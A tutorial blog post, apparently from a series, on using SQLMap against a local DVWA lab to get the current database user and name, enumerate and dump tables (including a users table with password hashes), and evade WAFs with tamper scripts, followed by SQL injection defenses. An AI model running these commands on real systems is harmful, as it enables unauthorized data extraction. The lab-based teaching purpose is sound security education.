SQLMap in Action: Getting Current DB and User – SQLi Lab Pt. 4

SQL injection is one of the most well-known and dangerous security vulnerabilities that affect web applications. It occurs when an attacker manipulates input fields in a web application to insert malicious SQL commands. These commands get executed by the database, often allowing the attacker to view, modify, or delete data without proper authorization. The root cause is usually the improper validation or sanitization of user inputs before embedding them in SQL queries.

For example, imagine a login form that accepts a username and password. If the application inserts these values directly into an SQL query without any filtering, an attacker can craft an input that alters the query’s logic. This can lead to bypassing authentication, retrieving sensitive data, or even corrupting the database.

The impact of SQL injection can be severe, ranging from data theft to complete system compromise. Many major breaches and incidents have been traced back to unpatched SQL injection flaws.

Types of SQL Injection

Understanding the types of SQL injection helps in both detecting and exploiting these vulnerabilities during penetration testing.

In-Band SQL Injection

This is the most straightforward form of SQL injection, where the attacker uses the same channel to inject and retrieve data. It has two main variants:

  • Error-Based SQL Injection: This technique exploits error messages returned by the database to gather information about its structure and data.

  • Union-Based SQL Injection: This uses the SQL UNION operator to combine results from multiple queries and extract data.

Blind SQL Injection

Sometimes, an application does not directly show database errors or output query results. Blind SQL injection exploits this by sending queries that return true or false, and the attacker infers information from the application’s behavior or response times.

Out-of-Band SQL Injection

Less common and more complex, this type of injection uses external communication channels, like DNS or HTTP requests, triggered from the database server, to send data to the attacker.

Why is SQL Injection Still Relevant?

Despite decades of awareness, SQL injection remains widespread. The reasons include:

  • Legacy applications with outdated coding practices

  • Insufficient input validation and sanitization

  • Misconfigured databases and applications

  • Lack of security training among developers

The consequences can be disastrous, with attackers gaining unauthorized access to databases containing sensitive user data, intellectual property, or payment information. Once attackers have a foothold via SQL injection, they can often escalate their privileges or pivot within the target environment.

Introducing SQLMap: The Automated SQL Injection Tool

SQLMap is an open-source tool widely used by security professionals to automate the detection and exploitation of SQL injection vulnerabilities. It simplifies the process of testing web applications by performing a variety of SQL injection techniques against target URLs.

SqlMap supports a broad range of database management systems such as MySQL, PostgreSQL, Microsoft SQL Server, Oracle, and SQLite. Its automation capability makes it much faster and more reliable compared to manual testing.

How SQLMap Works

SQLMap works by sending specially crafted HTTP requests to the web application with modified parameters to test if they are vulnerable to SQL injection. It analyzes the application’s responses to determine if the payloads successfully manipulated the database.

The tool fingerprints the backend database to adjust payloads based on database-specific syntax and features. For example, functions to retrieve the current database or current user differ between MySQL and Microsoft SQL Server, and SqlMap adapts accordingly.

SqlMap can perform different types of injection, including boolean-based blind, time-based blind, error-based, UNION-based, and stacked queries.

Setting Up a Safe Testing Environment

Before attempting any SQL injection testing, it’s critical to work in a controlled and legal environment. Performing such testing on unauthorized targets is illegal and unethical.

Many intentionally vulnerable applications exist to help security learners practice safely. Popular examples include:

  • Damn Vulnerable Web Application (DVWA): A PHP/MySQL app with multiple vulnerability levels.

  • bWAPP: Covers a broad range of web vulnerabilities.

  • Mutillidae: An open-source web application with multiple flaws.

Using these platforms allows you to safely explore SQL injection without legal risk.

Basic Usage of SQLMap

To start testing with SQLMap, you need a URL with a parameter that might be injectable, for example:

bash

CopyEdit

http://localhost/vulnerable.php?id=1

 

The simplest command to test the parameter is:

lua

CopyEdit

sqlmap -u “http://localhost/vulnerable.php?id=1” –batch

 

Here, -u specifies the target URL, and– batch runs the tool in non-interactive mode, choosing default answers automatically.

SqlMap will test various injection techniques and report whether the target is vulnerable and which database it uses.

Extracting Key Information Using SQLMap

After confirming that the parameter is injectable, the next step is to extract valuable information about the database.

Two essential pieces of data often obtained first are the current database and the current database user. Knowing these helps in mapping the attack surface and understanding the context of the injection.

The current database shows which database the application is connected to by default, which guides further data extraction efforts. The current user reveals the database account in use, giving clues about possible privileges. A database user with admin rights poses a greater threat.

SqlMap provides specific options to retrieve this information:

  • To get the current user: –current-user

  • To get the current database: –current-db

Example Commands to Get Current User and Database

Assuming the URL is:

bash

CopyEdit

http://localhost/vulnerable.php?id=1

 

You can find the current database user by running:

lua

CopyEdit

sqlmap -u “http://localhost/vulnerable.php?id=1” –current-user –batch

 

Similarly, to get the current database:

lua

CopyEdit

sqlmap -u “http://localhost/vulnerable.php?id=1” –current-db –batch

 

These commands will test the injection point and return the respective information if successful.

Why Retrieving the Current User and Database Matters

Extracting the current user and database is not only a basic reconnaissance step but also helps evaluate the severity of the vulnerability. If the user has high-level privileges, attackers can escalate their impact significantly, including dumping entire databases or modifying data.

This step is often the foundation for further enumeration, such as listing tables, columns, and dumping records.

Understanding SQLMap Output

When SQLMap runs these commands, it typically reports the backend database, the injection type detected, and retrieved information such as the current user or database name.

Interpreting this output accurately is key. For instance, the tool might indicate that the backend is MySQL and that the current user is root@localhost. This means the injection allows access with full administrative rights, which is a critical security issue.

Best Practices for SQL Injection Testing

While SQLMap automates much of the work, testers must use it responsibly:

  • Always have permission before testing.

  • Use non-production environments when possible.

  • Limit tests to avoid service disruptions.

  • Document findings and report vulnerabilities.

Effective testing involves combining automated tools with manual validation to avoid false positives or negatives.

SQL injection continues to be a top security risk for web applications due to its simplicity and potential impact. Understanding its mechanics and the different types helps in identifying and mitigating these vulnerabilities.

SqlMap stands as a powerful tool that automates SQL injection testing and enumeration, making it easier for security professionals to uncover critical issues such as the current database and user. These initial discoveries pave the way for further exploration and demonstrate the extent of a vulnerability.

In the next part of this series, we will explore practical examples of using SQLMap tSQLMapact the current user and database step-by-step within a lab environment. This hands-on approach will build your skills in SQL injection exploitation and tool usage.

Setting Up the Lab Environment

Before diving into the hands-on use of SQLMap, it’s important to set up a proper lab environment. This ensures safe practice without risking real-world applications or data.

You can use deliberately vulnerable web applications such as DVWA or Mutillidae installed on a local machine or virtual environment. These platforms simulate common web vulnerabilities, including SQL injection. Make sure the environment includes a database backend like MySQL or PostgreSQL to reflect real scenarios.

Once your environment is ready and running, identify a target URL with a parameter to test. For example:

bash

CopyEdit

http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

 

This URL includes an ID parameter that is often vulnerable to injection.

Basic SQLMap Command Structure

The basic SQLMap command format is:

nginx

CopyEdit

sqlmap -u “<target_URL>”

 

The tool will automatically attempt to detect vulnerabilities in the URL parameters.

To speed up testing and reduce manual interaction, you can add the– batch flag. This uses default answers to prompts, making the process non-interactive:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –batch

 

Step 1: Confirming SQL Injection Vulnerability

Before extracting information, first verify that the target parameter is injectable. Run SQLMap on the target URL:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –batch

 

SqlMap will test various payloads and report if injection is possible. The output might say something like:

pgsql

CopyEdit

[INFO] Testing if the target is vulnerable to SQL injection

[INFO] The back-end DBMS is MySQL

[INFO] confirming injection point

[INFO] The parameter ‘id’ is vulnerable to SQL injection

 

This confirms the target is exploitable.

Step 2: Retrieving the Current Database User

Once vulnerability is confirmed, use the– current-user option to extract the database user:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –current-user –batch

 

SqlMap sends specific payloads that query the database for the username associated with the current connection. The output could be:

pgsql

CopyEdit

[INFO] retrieving current user

[INFO] retrieved: dvwa@localhost

 

This means the database connection runs under the user dvwa, which often has limited privileges but enough to demonstrate exploitation.

Step 3: Retrieving the Current Database Name

Similarly, you can extract the database name using the– current-db option:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –current-db –batch

 

The output might be:

pgsql

CopyEdit

[INFO] Retrieving current database

[INFO] retrieved: dvwa

 

Knowing the database name is useful for further queries, such as enumerating tables within that database.

Step 4: Exploring SQLMap Verbosity

SqlMap provides various verbosity levels to show more or less detail about its operation. Use the -v option with a value between 0 and 6. For example:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –current-user -v 3 –batch

 

This shows detailed information about each test payload sent, response times, and detected injection points. Verbose output helps learn how injection works under the hood.

Step 5: Using Tamper Scripts (Optional)

Some applications employ basic filters or WAFs that block common injection payloads. SqlMap supports tamper scripts to modify payloads and bypass filters.

For example, to use the space2comment tamper script that replaces spaces with comments, run:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –current-user –tamper=space2comment –batch

 

This can help bypass rudimentary defenses and still retrieve the current user.

Step 6: Understanding Different Injection Techniques SQLMap Uses

SqlMap attempts various techniques during testing:

  • Boolean-based Blind: Sends true/false conditions and observes response differences.

  • Error-based: Triggers database errors to extract data.

  • Union-based: Uses the UNION SQL operator to combine results and retrieve data.

  • Time-based Blind: Uses delays to infer data based on response times.

  • Stacked Queries: Executes multiple queries in a single request.

The tool reports the successful method, helping testers understand what type of injection the application is vulnerable to.

Step 7: Handling POST Requests

If the vulnerable parameter is sent via POST rather than GET, SQLMap supports testing POST data using the– data option.

Example:

kotlin

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/” –data=”id=1&Submit=Submit” –current-user –batch

 

This allows testing forms or APIs that use POST requests.

Step 8: Using SQLMap with Cookies and Authentication

Many applications require authentication. SqlMap can handle session cookies to maintain a logged-in status during tests.

If your application uses cookies like PHPSESSID, include them via:

nginx

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1″ –cookie=”PHPSESSID=xyz123” –current-user –batch

 

This is critical to access pages protected behind a login and test them for injection.

Step 9: Saving and Loading Sessions

When running multiple tests, you can save SQLMap sessions for later review or continuation using the -s option:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1” –current-user –batch -s session1

 

Reload with:

nginx

CopyEdit

sqlmap -s session1

 

This helps manage complex testing scenarios.

Step 10: Extracting Additional Information

After obtaining the current user and database, you can use SqlMap to enumerate tables, columns, and dump data. This will be covered in detail in the next parts, but basic commands include:

  • List databases: –dbs

  • List tables in a database: –tables -D <database>

  • List columns in a table: –columns -D <database> -T <table>

  • Dump table contents: –dump -D <database> -T <table>

These options build on the foundation set by retrieving the current user and database.

This practical guide demonstrated how to confirm SQL injection vulnerabilities and extract the current database user and database name using SqlMap. Setting up a safe lab environment, crafting the right commands, and interpreting results are essential skills.

Understanding these basics prepares you to delve deeper into database enumeration and exploitation, which will be the focus of the upcoming parts in this series. Mastery of SQLMap commands and options will greatly enhance your ability to perform effective penetration testing and security assessments.

Advanced Enumeration and Data Extraction with SQLMap

Introduction to Advanced Enumeration

After successfully identifying a SQL injection vulnerability and retrieving basic information like the current database and user, the next step is to perform deeper enumeration. This involves listing all available databases, tables within those databases, columns within tables, and ultimately extracting valuable data.

SqlMap provides powerful automated capabilities to perform this complex and time-consuming process efficiently. Understanding how to use these features is essential for any penetration tester or security analyst.

Enumerating All Databases

To discover all databases on the backend database server, use the– dbs option. This command instructs SQLMap to query the server for a list of all databases accessible by the current user.

Example:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –dbs –batch

 

SqlMap will send appropriate payloads, often using SHOW DATABASES for MySQL, and return a list such as:

less

CopyEdit

[INFO] available databases [3]:

[*] information_schema

[*] mysql

[*] dvwa

 

The information_schema database contains metadata about the database server, including tables and columns, which can be invaluable for further exploration.

Enumerating Tables in a Database

Once you know the databases, the next task is to list tables inside a particular database using the tables option with the -D flag to specify the database.

Example:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –tables -D dvwa –batch

 

This command asks SQLMap to enumerate tables inside the DVWA database. The output might be:

pgsql

CopyEdit

[INFO] tables in database ‘dvwa’:

[*] users

[*] books

[*] messages

 

Knowing table names is crucial before attempting to list columns or extract data.

Enumerating Columns in a Table

To gather details about the columns within a specific table, use the– columns option along with database and table flags:

bash

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –columns -D dvwa -T users –batch

 

SqlMap will return column names, data types, and other information such as:

pgsql

CopyEdit

[INFO] columns in table ‘users’ of database ‘dvwa’:

[*] user_id

[*] user

[*] password

[*] email

 

This helps identify which columns contain sensitive information, like usernames and passwords.

Dumping Data from Tables

The primary goal of SQL injection is often to extract data from the database. SqlMap facilitates this with the– dump option:

bash

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –dump -D dvwa -T users –batch

 

This command attempts to retrieve all rows and columns from the users table. Example output:

pgsql

CopyEdit

[INFO] dumping entries for table ‘users’ in database ‘dvwa’:

[1] user_id: 1, user: admin, password: 5f4dcc3b5aa765d61d8327deb882cf99, email: admin@example.com

[2] user_id: 2, user: guest, password: guestpass, email: guest@example.com

 

Extracted password hashes or plaintext passwords can be further analyzed offline with cracking tools.

Filtering Results with Query Options

Sometimes, dumping entire tables is impractical due to size or relevance. SqlMap allows you to filter data extraction using the– where option to specify conditions.

Example: Extract only users with the user equal to admin:

bash

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –dump -D dvwa -T users –where=”user=’admin'” –batch

 

This targets specific records, which can improve focus and reduce noise in data collection.

Using Limits to Control Output

You can limit the number of rows returned by SqlMap during dumping with– limit:

bash

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –dump -D dvwa -T users –limit=5 –batch

 

This command extracts only the first five entries, useful when working with large tables.

Extracting Data with Custom Queries

SQLMap supports executing custom SQL queries directly to extract tailored data. Use the– sql-query option:

graphql

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –sql-query=”SELECT user, password FROM users” –batch

 

This flexibility allows for precise data retrieval, bypassing automated enumeration steps if you know the query in advance.

Handling Different Database Management Systems

SqlMap supports various backends, including MySQL, PostgreSQL, Oracle, Microsoft SQL Server, and others. Different systems may require slightly different payloads or enumeration techniques.

SqlMap automatically detects the backend and adapts its payloads, but in some cases, you might want to specify the database type using the– dbms option:

lua

CopyEdit

sqlmap -u “http://example.com/page?id=1” –dbms=postgresql –dbs –batch

 

Knowing the backend helps tailor further testing and exploitation.

Bypassing WAFs with Advanced Techniques

Advanced web application firewalls (WAFs) may block or filter SQL injection payloads. SQLMap includes options to evade detection:

  • Use tamper scripts to obfuscate payloads.

  • Modify user-agent strings with– user-agent.

  • Use proxy options with– proxy.

  • Adjust request headers.

Combining these tactics increases the chance of successful enumeration.

Exporting Results for Reporting

After extensive enumeration and data extraction, exporting results is important for documentation and reporting. SqlMap automatically saves outputs in the output directory, but you can specify custom output files using:

bash

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1” –dump -D dvwa -T users –batch –output-dir=/path/to/save

 

Maintaining clear records facilitates communication with stakeholders or developers for remediation.

This part covered advanced enumeration and data extraction techniques using SQLMap. Starting with database enumeration, moving to table and column listing, and finally extracting sensitive data, you now have a powerful workflow for comprehensive SQL injection testing.

Mastering these commands allows you to uncover critical vulnerabilities and sensitive information hidden within databases, significantly contributing to penetration testing efforts.

Using SQLMap to Obtain Current User and Database – Defense and Best Practices

Introduction

After mastering how to enumerate databases, tables, and extract data with SQLMap, understanding how to retrieve critical information, such as the current database user and database name, is essential. This data often helps attackers gauge their level of access and plan further exploitation.

In this final part of the series, we explore the practical use of SQLMap commands to extract the current user and database, followed by essential strategies developers and security teams can implement to protect applications against SQL injection attacks.

Retrieving the Current Database User

Knowing the database user that the web application connects with provides insight into the privileges available during an attack. Different database management systems provide functions to query the current user:

  • In MySQL, the function user() or current_user() can be used.

  • In PostgreSQL, current_user or session_user returns similar information.

  • In Microsoft SQL Server, SYSTEM_USER or USER_NAME() provides user information.

SqlMap automates this retrieval using the– current-user option:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –current-user –batch

 

This command sends crafted injection payloads to extract the current database username, outputting results like:

pgsql

CopyEdit

[INFO] current user: ‘dvwa_user@localhost’

 

This information helps an attacker understand the database privileges they have and the potential impact of further exploits.

Retrieving the Current Database Name

Extracting the active database in use is similarly important. SqlMap provides the– current-db option to automatically identify this information:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –current-db –batch

 

Typical output might be:

pgsql

CopyEdit

[INFO] current database: ‘dvwa’

 

Identifying the current database focuses further enumeration and data extraction efforts on relevant tables and data.

Combining Enumeration for Efficiency

For an efficient workflow, SQLMap allows combining options in a single command. For example, to retrieve both the current user and current database:

lua

CopyEdit

sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –current-user –current-db –batch

 

This accelerates the information gathering phase and provides a quick snapshot of the database context.

Practical Implications of User and Database Enumeration

The current user often indicates privilege levels. For example, if the user has administrative rights, attackers might attempt to execute dangerous commands, escalate privileges, or pivot laterally within the infrastructure.

Knowing the current database allows attackers to avoid unnecessary enumeration and target critical data directly, increasing the speed and stealth of their attack.

Defense Strategies Against SQL Injection

Protecting applications against SQL injection requires a multi-layered approach that addresses vulnerabilities from the coding phase through deployment.

Use of Prepared Statements and Parameterized Queries

One of the most effective defenses is using prepared statements and parameterized queries. These separate SQL code from data input, preventing attackers from injecting malicious code.

In languages like PHP, Java, Python, or C#, database libraries provide APIs to implement parameterized queries easily, reducing the risk of injection.

Input Validation and Sanitization

While input validation alone cannot fully prevent injection, it helps filter out suspicious characters or patterns. Applications should validate input length, type, and format strictly.

Sanitization functions escape dangerous characters but should not be relied on as the primary defense.

Least Privilege Database Access

Assigning minimal privileges to the database user connected to the application limits the damage an attacker can cause if injection occurs. For instance, users should not have administrative or DROP permissions if unnecessary.

Web Application Firewalls (WAF)

Deploying a WAF can provide an additional layer of defense by detecting and blocking common injection patterns. Although sophisticated attackers might evade WAFs, these tools reduce automated attacks and script kiddie exploits.

Regular Security Testing and Code Reviews

Conducting routine penetration testing, including SQL injection testing with tools like SqlMap, helps identify vulnerabilities before attackers do.

Code reviews and security audits ensure developers follow secure coding practices and fix vulnerabilities promptly.

Error Handling and Information Disclosure

Applications should avoid displaying detailed database errors to users. Error messages can leak valuable information that attackers can leverage for injection.

Instead, implement generic error messages and log detailed errors internally for developer review.

Keeping Software Updated

Database servers, application frameworks, and libraries should be kept updated with security patches to mitigate known vulnerabilities.

In this final part of the SQL Injection Lab series, you learned how to use SqlMap to obtain the current database user and current database name, crucial for understanding the attack surface.

Equally important, the discussion covered best practices and defense mechanisms to mitigate SQL injection vulnerabilities. Employing parameterized queries, enforcing least privilege, using WAFs, and maintaining rigorous security testing form a strong defense against injection attacks.

Mastering both the offensive and defensive aspects of SQL injection is critical for security professionals, enabling them to better protect and assess modern applications.

Final Thoughts 

SQL injection remains one of the most critical and widespread security vulnerabilities affecting web applications today. Despite widespread awareness and many tools available to identify and exploit it, SQL injection continues to be a leading cause of data breaches and system compromise.

Throughout this series, we explored the fundamentals of SQL injection testing and the powerful capabilities of SQLMap for automated exploitation. From identifying vulnerable parameters, enumerating databases, tables, and columns, to extracting sensitive data and obtaining critical context like the current user and database, these steps form the core workflow of penetration testing for SQL injection.

Understanding how attackers leverage these techniques helps security professionals adopt better defensive measures. Protecting applications requires more than just patching vulnerabilities—it demands secure coding practices, strict input validation, the use of parameterized queries, minimal database privileges, and proactive security testing.

Additionally, deploying layered defenses such as web application firewalls and careful error handling can greatly reduce the attack surface. Regular audits and penetration tests using tools like SQLMap enable organizations to detect vulnerabilities early and respond before attackers can cause harm.

SQL injection testing and prevention an ongoing processes. As applications evolve and new features are added, continuous security assessments ensure that injection flaws do not creep back in. Awareness and education for developers, combined with strong security policies, remain vital.

Mastering both the offensive techniques to find injection points and the defensive strategies to eliminate them equips security teams to protect sensitive data and maintain trust. The knowledge gained from this lab series serves as a foundation for deeper exploration of web security and ethical hacking.

If you continue honing your skills with hands-on practice and stay current with emerging threats, you’ll be well-positioned to contribute effectively to application security efforts and help build safer systems.

 

img